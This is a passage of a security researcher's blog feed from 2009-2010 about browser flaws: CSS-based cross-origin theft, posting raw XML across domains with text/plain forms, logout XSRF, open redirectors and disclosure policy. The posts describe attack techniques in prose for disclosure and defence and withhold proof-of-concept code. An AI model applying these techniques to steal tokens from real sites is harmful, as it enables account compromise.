href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3121106132451952882'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/09/ie8-css-based-forced-tweeting.html' title='IE8 CSS-based forced tweeting'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-6368164138075348974</id><published>2010-08-04T22:22:00.000-07:00</published><updated>2010-08-05T02:38:00.743-07:00</updated><title type='text'>Internet Explorer considered harmful</title><content type='html'>Now that &lt;a href="http://websec.sv.cmu.edu/css/css.pdf"&gt;this paper&lt;/a&gt; is officially public, the full story of CSS-based cross-origin theft can come out. &lt;i&gt;(As an aside I'd like to note that I contributed little other than review to the paper so credit must go to the other named individuals)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;For background reading, see &lt;a href="http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html"&gt;my Dec 2009 original post&lt;/a&gt; and &lt;a href="http://scarybeastsecurity.blogspot.com/2010/07/firefox-fixes-css-based-cross-origin.html"&gt;an update that notes Firefox fixing the issue&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In the original post, I state two mitigating factors that prevent the attack being very serious: the fact that quotes and particularly newlines stop the attack from working due to the way CSS parsing is specified.&lt;br /&gt;&lt;br /&gt;It turns out that Internet Explorer is not compliant in either of these aspects, leaving it more vulnerable that the other browsers. Not only is it the most vulnerable, but it is also the only browser to not have a fix available for its latest stable version. Fully patched IE8 is still vulnerable.&lt;br /&gt;&lt;br /&gt;For an example of how easily data can be stolen cross-origin, try this demo in IE:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sh0dan.org/css.html"&gt;http://sh0dan.org/css.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It uses the &lt;b&gt;font-family&lt;/b&gt; CSS property to steal all text from the injection point up to the next &lt;b&gt;;&lt;/b&gt; character. Alternatively, to get more control, we can use &lt;b&gt;background-image:url(&lt;/b&gt; which will steal all text from the injection point up to the next &lt;b&gt;);&lt;/b&gt; sequence (which can be useful as it is less likely to occur by 'accident').&lt;br /&gt;&lt;br /&gt;I have PoCs which will steal your webmail's XSRF token, with follow-on loss of account integrity and confidentiality. It's a nasty attack: e-mail someone a link and if they click it, they are owned with a pure browser cross-origin bug. I don't think it would be productive to share any PoCs at this time.&lt;br /&gt;&lt;br /&gt;Talking to some greyhats, I was surprised to learn this bug has been public since at least 2008. If you speak Japanese, see:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://d.hatena.ne.jp/ofk/20081111/1226407593"&gt;http://d.hatena.ne.jp/ofk/20081111/1226407593&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's a dangerously long time for such a bug to be live and known by hackers.&lt;br /&gt;&lt;br /&gt;Browsers are complicated pieces of software and will always have bugs. Time-to-fix therefore matters for a browser. If security is a factor in your browser choice, I recommend you look at Opera or Chrome. These browsers fixed this bug the fastest.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-6368164138075348974?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/6368164138075348974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=6368164138075348974' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6368164138075348974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/6368164138075348974'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/08/internet-explorer-considered-harmful.html' title='Internet Explorer considered harmful'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8295364100498835917</id><published>2010-07-22T11:37:00.000-07:00</published><updated>2010-07-22T12:01:01.404-07:00</updated><title type='text'>Firefox fixes CSS-based cross-origin theft issue</title><content type='html'>Firefox just released version 3.6.7 of their excellent browser, and it fixes this:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html"&gt;http://www.mozilla.org/security/announce/2010/mfsa2010-46.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This leaves 4 of the 5 major browsers with fixes (more on this in an upcoming post), which is my threshold for documenting a little tweak to exploitability. It is partially inspired by Gareth Heyes' attack on E4X using character set overrides. For interesting background reading, see:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/"&gt;http://www.thespanner.co.uk/2009/02/24/inline-utf-7-e4x-javascript-hijacking/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Turns out, the same character set override applies to loading cross-origin CSS via the &amp;lt;link&amp;gt; tag. This means that you can use UTF7 in Firefox to get around one of the key restrictions &lt;a href="http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html"&gt;in the original attack&lt;/a&gt;. Specifically, you can force the CSS to be interpreted as UTF7, which makes injecting either type of quote (single or double) trivial to do without it getting escaped. Of course, the larger newline-related restriction remains in sane browsers.&lt;br /&gt;&lt;br /&gt;Also, it's worth documenting how the character set override works. Interestingly, in all the browsers I tested (Chrome, Firefox, Safari) -- any character set specified in a site's HTTP headers has a higher precedence that the attacker's attempted override in the &amp;lt;link&amp;gt; tag. Useful. You should always specify character sets where possible. It has also defended against other previously unknown attacks in the past.&lt;br /&gt;&lt;br /&gt;One final note is that not all browsers support UTF7. Chrome for example does not. I'm sure no-one would shed tears if UTF7 died.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8295364100498835917?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8295364100498835917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8295364100498835917' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8295364100498835917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8295364100498835917'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/07/firefox-fixes-css-based-cross-origin.html' title='Firefox fixes CSS-based cross-origin theft issue'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-7861077724497011267</id><published>2010-07-20T20:05:00.000-07:00</published><updated>2010-07-20T21:25:25.248-07:00</updated><title type='text'>Fixing responsible disclosure</title><content type='html'>Today I had the pleasure to post:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://googleonlinesecurity.blogspot.com/2010/07/rebooting-responsible-disclosure-focus.html"&gt;http://googleonlinesecurity.blogspot.com/2010/07/rebooting-responsible-disclosure-focus.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It is co-signed by some of my awesome fellow engineers who personally believe in what is written.&lt;br /&gt;&lt;br /&gt;Recent discussions and debates have shown that "responsible disclosure" is broken. It is badly named and ill-defined. Possibly the worst problem with responsible disclosure is that is permits known critical vulnerabilities to go unfixed for months or even years. As many commentators have pointed out, that is hardly "responsible". We've also seen what happens when we go down that route.&lt;br /&gt;&lt;br /&gt;The simple proposed fix is to use reasonable deadlines to encourage things in the right direction. 60 days for critical issues. ("critical" in the genuine unsandboxed &amp; arbitrary code execution sense, not "critical" just because some news article or researcher is overstating things).&lt;br /&gt;&lt;br /&gt;Speaking personally about my work on securing the Chromium browser: I'd be mortified if I learned of a &lt;a href="http://dev.chromium.org/developers/severity-guidelines"&gt;SecSeverity-Critical&lt;/a&gt; bug and it took me over 60 days to protect my users from it. It's not always possible to move this fast, but for one of the &lt;a href="http://code.google.com/p/chromium/issues/detail?id=14508"&gt;few critical bugs I found&lt;/a&gt;, the timeline shows it was not only fixed but also &lt;i&gt;installed across the user base&lt;/i&gt; in about 6 days.&lt;br /&gt;&lt;br /&gt;Related reading:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://lcamtuf.blogspot.com/2010/07/rebooting-responsible-disclosure.html"&gt;http://lcamtuf.blogspot.com/2010/07/rebooting-responsible-disclosure.html&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://taviso.decsystem.org/grandma.html"&gt;http://taviso.decsystem.org/grandma.html&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-7861077724497011267?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/7861077724497011267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=7861077724497011267' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7861077724497011267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/7861077724497011267'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/07/fixing-responsible-disclosure.html' title='Fixing responsible disclosure'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1194502201189757691</id><published>2010-07-20T14:31:00.001-07:00</published><updated>2010-07-20T14:42:46.704-07:00</updated><title type='text'>More money for critical Chromium security bugs!</title><content type='html'>We've seen who is $1337 but who is $3133.7 ?&lt;br /&gt;&lt;br /&gt;I just launched this:&lt;br /&gt;&lt;a href="http://blog.chromium.org/2010/07/celebrating-six-months-of-chromium.html"&gt;http://blog.chromium.org/2010/07/celebrating-six-months-of-chromium.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've really enjoyed launching and now refreshing this program.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-1194502201189757691?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/1194502201189757691/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=1194502201189757691' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1194502201189757691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/1194502201189757691'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/07/more-money-for-critical-chromium.html' title='More money for critical Chromium security bugs!'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-363043936292955229</id><published>2010-06-25T15:25:00.000-07:00</published><updated>2010-06-26T10:56:18.112-07:00</updated><title type='text'>Open redirectors: some sanity</title><content type='html'>Open redirectors are a contentious issue. Old-school hackers think anyone who thinks they are serious is on drugs. New-school hackers are more evenly divided. I haven't yet seen a public, balanced list of reasons why you should be worrying about other problems. Here it is. For now, I'll concentrate on the central idea that open redirectors permit domain obfuscation and therefore facilitate phishing etc.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;OMG! Open redirectors can send a user to evil.com whilst appearing to go to good.com&lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;u&gt;Not an issue&lt;/u&gt;: The only security indicator for URLs supported by browsers is the URL bar. The status bubble can be faked. This is to say that you can only securely do an URL check on the final landing page of a click. Check out the Browser Security Handbook.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;u&gt;Not an issue&lt;/u&gt;: An easier way to fake an URL is to simply use mismatched anchor text vs. the actual href. End users make decisions based solely on the the text they read, not the underlying URL.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;u&gt;Not an issue&lt;/u&gt;: We cannot seriously expect end users to make safe / dodgy distinctions based on any component of an URL. If we as a security community try and offload decisions like this on to end users, we're exhibiting basic misunderstandings. A case in point -- I just keynoted OWASP Stockholm with my colleague Ian Fette and he released an eye-opening statistic: 50% of users click through the phishing / malware interstitial in Google Chrome. Just to be clear, this is a dialog with a red background and a huge no-entry sign, with text such as "This website may harm your computer". Ouch, 50%, and that's a simple decision. It's time to stop suggesting users make complicated decisions based on URLs. The issue is becoming pretty moot with URL shorteners anyway.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;u&gt;Not an issue&lt;/u&gt;: It's very easy for attackers to register a domain name that sounds offical but is not. Time and time again, even relatively technical users fall for phishing scams simply because a bad domain looks vaguely official. This backs up the previous point about users understanding URLs nicely.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The fact is, it's really easy to get a user's browser to come into contact with untrusted bits. Malware ads would be one example; there are plenty of others.&lt;br /&gt;If you want to be a productive member of the security community, please do the following things:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Desist from seizing upon minor issues and declaring them "critical" in order to get attention. You may get quoted by some clueless reporter, but you'll still be a third-rate security researcher.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Get involved in hardening web app frameworks, browsers and plug-ins such that they are robust in the face of malicious data. Users are going to be exposed to bad stuff. Help tackle the problem at the roots.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-363043936292955229?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/363043936292955229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=363043936292955229' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/363043936292955229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/363043936292955229'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/06/open-redirectors-some-sanity.html' title='Open redirectors: some sanity'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4603821912288984278</id><published>2010-03-18T00:12:00.000-07:00</published><updated>2010-03-18T00:27:42.656-07:00</updated><title type='text'>vsftpd HTTP lunacy!</title><content type='html'>Ok, so I was bored and I added &lt;i&gt;very very&lt;/i&gt; basic HTTP support to vsftpd. vsftpd is now perhaps the only FTP server to have an option &lt;b&gt;ftp_enable=NO&lt;/b&gt;. Basically none of the HTTP protocol is implemented, but it might suffice for someone who is super-paranoid and needs to serve some static files over the HTTP protocol. The selling point is the re-use of vsftpd's tried-and-tested listener, string handling and built-in sandboxing.&lt;br /&gt;&lt;br /&gt;The bits live at &lt;a href="ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.0pre1.tar.gz"&gt;ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.0pre1.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I cannot use the name vshttpd, because bizarrely a Google search indicates it as taken: &lt;a href="http://sourceforge.net/projects/vshttpd/"&gt;http://sourceforge.net/projects/vshttpd/&lt;/a&gt;. I do not know what the "vs" stands for in that case.&lt;br /&gt;&lt;br /&gt;As usual, the feature will live or die depending on the level of user enthusiasm shown.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4603821912288984278?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4603821912288984278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4603821912288984278' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4603821912288984278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4603821912288984278'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/03/vsftpd-http-lunacy.html' title='vsftpd HTTP lunacy!'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-4130637052688974317</id><published>2010-01-28T15:38:00.001-08:00</published><updated>2010-01-28T15:40:11.736-08:00</updated><title type='text'>Encouraging More Chromium Security Research</title><content type='html'>I don't usually post non-original content here, but in this case I'll make an exception :) Here's one of the things I've been working on over in Chromium land:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html"&gt;http://blog.chromium.org/2010/01/encouraging-more-chromium-security.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Will you be the first $1337 ?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-4130637052688974317?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/4130637052688974317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=4130637052688974317' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4130637052688974317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/4130637052688974317'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/01/encouraging-more-chromium-security.html' title='Encouraging More Chromium Security Research'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-8701246787522825868</id><published>2010-01-10T19:33:00.000-08:00</published><updated>2010-01-10T21:22:19.804-08:00</updated><title type='text'>Posting raw XML cross-domain</title><content type='html'>I was recently stealing anti-XSRF tokens using &lt;a href="http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html"&gt;the CSS design error I found&lt;/a&gt;. In the (unnamed for now) app I was exploiting, all the fun happens in XSRF-protected POST requests with an XML RPC protocol.&lt;br /&gt;&lt;br /&gt;If you are &lt;code&gt;good.com&lt;/code&gt;, then sending XML to yourself is easy - you can send arbitrary POST payloads using XHR. This of course is not an option from &lt;code&gt;evil.com&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;I'll document how I got around it. I didn't see anything similar with a bunch of Google queries, but I somehow doubt it's new. I'm sure I've missed an easier way, too - let me know. (Note that I set myself the goal of not involving plugins).&lt;br /&gt;&lt;br /&gt;When submitting a &amp;lt;form&amp;gt; POST, there are three standard form encodings to choose from:&lt;ul&gt;&lt;li&gt;&lt;b&gt;application/x-www-form-urlencoded&lt;/b&gt; - &amp;quot;All characters are encoded before sent (this is default)&amp;quot;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;multipart/form-data&lt;/b&gt; - &amp;quot;No characters are encoded. This value is required when you are using forms that have a file upload control&amp;quot;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;text/plain&lt;/b&gt; - &amp;quot;Spaces are converted to &amp;quot;+&amp;quot; symbols, but no special characters are encoded&amp;quot;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The first is clearly unsuitable because it does URL encoding. Critical XML characters such as &amp;lt; &amp;gt; &amp;quot; etc. will get mangled. The second sounds ideal because there is no character encoding... but... of course, multi-part POST bodies have the separator lines such as &lt;code&gt;------WebKitFormBoundary2eC9p3Z2xdIQfdTS&lt;/code&gt;, so are useless to us.&lt;br /&gt;&lt;br /&gt;The final option will have to do. The encoding of space is not ideal but we could look into using a whitespace-free subset of XML. There's just one catch. The format of the POST body will be a series of name, value pairs:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;name1&lt;/b&gt;=&lt;b&gt;value1&lt;/b&gt;&amp;amp;&lt;b&gt;name2&lt;/b&gt;=&lt;b&gt;value2&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The trick to save the day here is to use a single name / value pair and abuse the fact that XML is typically full of = characters. So imagine the following XML:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;element attribute&lt;/b&gt;=&lt;i&gt;&amp;quot;value&amp;quot;&amp;gt;node text&amp;lt;/element&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Bold and italic are used to show the name used (&lt;b&gt;&amp;lt;element attribute&lt;/b&gt;) and the value (&lt;i&gt;&amp;quot;value&amp;quot;&amp;gt;node text&amp;lt;/element&amp;gt;&lt;/i&gt;) respectively. Job done. We could also bury the = in a node value if we didn't want to use attributes.&lt;br /&gt;&lt;br /&gt;But wait. The spec for the &lt;code&gt;text/plain&lt;/code&gt; encoding type specifies that any spaces will be converted to + symbols. This will wreck the space between element name and attribute name and perhaps spoil our fun. It's now down to how the browsers behave. Curiously, it breaks down to WebKit browsers vs. non-WebKit browsers:&lt;ul&gt;&lt;li&gt;Opera, IE, Firefox: do not URL encode; do not replace space with +&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Chrome, Safari: do URL encode; do replace space with +&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So this trick will work on some browsers but not others. A note on the specifications for this: the most recent document is obviously the HTML5 draft. The relevant section mentions nothing about replacing spaces with + anymore, so either WebKit doesn't support &lt;code&gt;text/plain&lt;/code&gt; or it is non-compliant:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#plain-text-form-data"&gt;http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#plain-text-form-data&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Thanks to Michal Zalewski for being around to debate ideas!&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-8701246787522825868?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/8701246787522825868/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=8701246787522825868' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8701246787522825868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/8701246787522825868'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/01/posting-raw-xml-cross-domain.html' title='Posting raw XML cross-domain'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-3353128371727160408</id><published>2010-01-09T18:30:00.000-08:00</published><updated>2010-01-09T19:02:47.884-08:00</updated><title type='text'>"Logout XSRF" - significant web app bug?</title><content type='html'>[Or "Logout CSRF" for search indexes; I seem to be addicted to the less common acronym ;-)]&lt;br /&gt;&lt;br /&gt;Significant? No, of course not. It &lt;b&gt;is&lt;/b&gt; a technical integrity violation inflicted upon &lt;code&gt;good.com&lt;/code&gt; by &lt;code&gt;evil.com&lt;/code&gt;. That's not ideal, and could be an annoyance. But there are some other interesting technicalities that can make it futile to defend against. They include:&lt;ul&gt;&lt;li&gt;&lt;a href="http://scarybeastsecurity.blogspot.com/2008/11/cookie-forcing.html"&gt;Cookie forcing&lt;/a&gt;. A man-in-the-middle attacker can nuke the auth cookie, even though your session is https.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Cookie bombardment. There is no standard on how a browser should behave when a range of collaborating sites (e.g. &lt;code&gt;*.evil.com&lt;/code&gt;) pile a load of cookies on to a browser. kuza55 &lt;a href="http://kuza55.blogspot.com/2008/02/understanding-cookie-security.html"&gt;documents the plausibility of this attack in Firefox and Opera&lt;/a&gt; and the &lt;a href="http://code.google.com/p/browsersec/wiki/Main"&gt;Browser Security Handbook&lt;/a&gt; also alludes to this in &lt;a href="http://code.google.com/p/browsersec/wiki/Part2"&gt;Part2&lt;/a&gt; under the heading "Problems with cookie jar size". Essentially &lt;code&gt;*.evil.com&lt;/code&gt; could "LRU-out" the auth cookie of another site. I've not seen a definitive answer to whether IE8 has a global cookie max limit or not. Intriguingly, having one can be a problem as can not having one!&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3024470480937744884-3353128371727160408?l=scarybeastsecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scarybeastsecurity.blogspot.com/feeds/3353128371727160408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3024470480937744884&amp;postID=3353128371727160408' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3353128371727160408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3024470480937744884/posts/default/3353128371727160408'/><link rel='alternate' type='text/html' href='http://scarybeastsecurity.blogspot.com/2010/01/logout-xsrf-significant-web-app-bug.html' title='&quot;Logout XSRF&quot; - significant web app bug?'/><author><name>Chris</name><uri>http://www.blogger.com/profile/01004765479735675808</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp0.blogger.com/_SZCuSKORDDc/R6fKYBUThfI/AAAAAAAACR8/57tZb_ClDi0/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3024470480937744884.post-1981000830265264190</id><published>2009-12-28T18:22:00.000-08:00</published><updated>2009-12-28T21:50:19.053-08:00</updated><title type='text'>Generic cross-browser cross-domain theft</title><content type='html'>Well, here's a nice little gem for the festive season. I like it for a few distinct reasons:&lt;ol&gt;&lt;br /&gt;&lt;li&gt;It's one of those cases where if you look at web standards from the correct angle, you can see a security vulnerability specified.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Accordingly, it affected all 5 major browsers. And likely the rest.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;You can still be a theft victim even with plugins &lt;i&gt;and JavaScript&lt;/i&gt; disabled!&lt;/li&gt;&lt;/ol&gt;It's much less serious than it could be because there are restrictions on the format of cross-domain data which can be stolen, and the attacker needs to be able to exercise limited control of the target 